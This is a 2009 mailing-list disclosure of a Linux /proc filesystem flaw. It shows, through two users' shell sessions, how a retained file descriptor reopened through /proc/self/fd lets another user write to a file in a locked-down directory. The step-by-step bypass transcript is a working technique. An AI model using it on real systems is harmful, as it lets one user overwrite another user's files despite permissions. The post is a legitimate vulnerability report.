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/proc filesystem allows bypassing directory permissions on Linux
From: Pavel Machek <pavel () ucw cz>
Date: Fri, 23 Oct 2009 19:16:36 +0200

Hi!

This is forward from lkml, so no, I did not invent this
hole. Unfortunately, I do not think lkml sees this as a security hole,
so...

Jamie Lokier said:
 a) the current permission model under /proc/PID/fd has a security
    hole (which Jamie is worried about)

I believe its bugtraq time. Being able to reopen file with additional
permissions looks like  a security problem...

Jamie, do you have some test script? And do you want your 15 minutes
 of bugtraq fame? ;-).

The reopen does check the inode permission, but it does not require
you have any reachable path to the file.  Someone _might_ use that as
a traditional unix security mechanism, but if so it's probably quite rare.

Ok, I got this, with two users. I guess it is real (but obscure)
security hole.

So, we have this scenario. pavel/root is not doing anything interesting in
the background.

pavel () toy:/tmp$ uname -a
Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
pavel () toy:/tmp mkdir my_priv; cd my_priv
pavel () toy:/tmp/my_priv$ echo this file should never be writable > unwritable_file
# lock down directory
pavel () toy:/tmp/my_priv$ chmod 700 .
# relax file permissions, directory is private, so this is safe
# check link count on unwritable_file. We would not want someone 
# to have a hard link to work around our permissions, would we?
pavel () toy:/tmp/my_priv$ chmod 666 unwritable_file 
pavel () toy:/tmp/my_priv$ cat unwritable_file 
this file should never be writable
pavel () toy:/tmp/my_priv$ cat unwritable_file 
got you
# Security problem here

[Please pause here for a while before reading how guest did it.]

Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.

So what did happen? User guest was able to work around directory
permissions in the background, using /proc filesystem.

guest () toy:~$ bash 3< /tmp/my_priv/unwritable_file 
# Running inside nested shell
guest () toy:~$ read A <&3
guest () toy:~$ echo $A
this file should never be writable

guest () toy:~$ cd /tmp/my_priv
guest () toy:/tmp/my_priv$ ls
unwritable_file

# pavel did chmod 000, chmod 666 here
guest () toy:/tmp/my_priv$ ls
ls: cannot open directory .: Permission denied

# Linux correctly prevents guest from writing to that file
guest () toy:/tmp/my_priv$ cat unwritable_file
cat: unwritable_file: Permission denied
guest () toy:/tmp/my_priv$ echo got you >&3
bash: echo: write error: Bad file descriptor

# ...until we take a way around it with /proc filesystem. Oops.
guest () toy:/tmp/my_priv$ echo got you > /proc/self/fd/3 

                                                                Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

----- End forwarded message -----

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html


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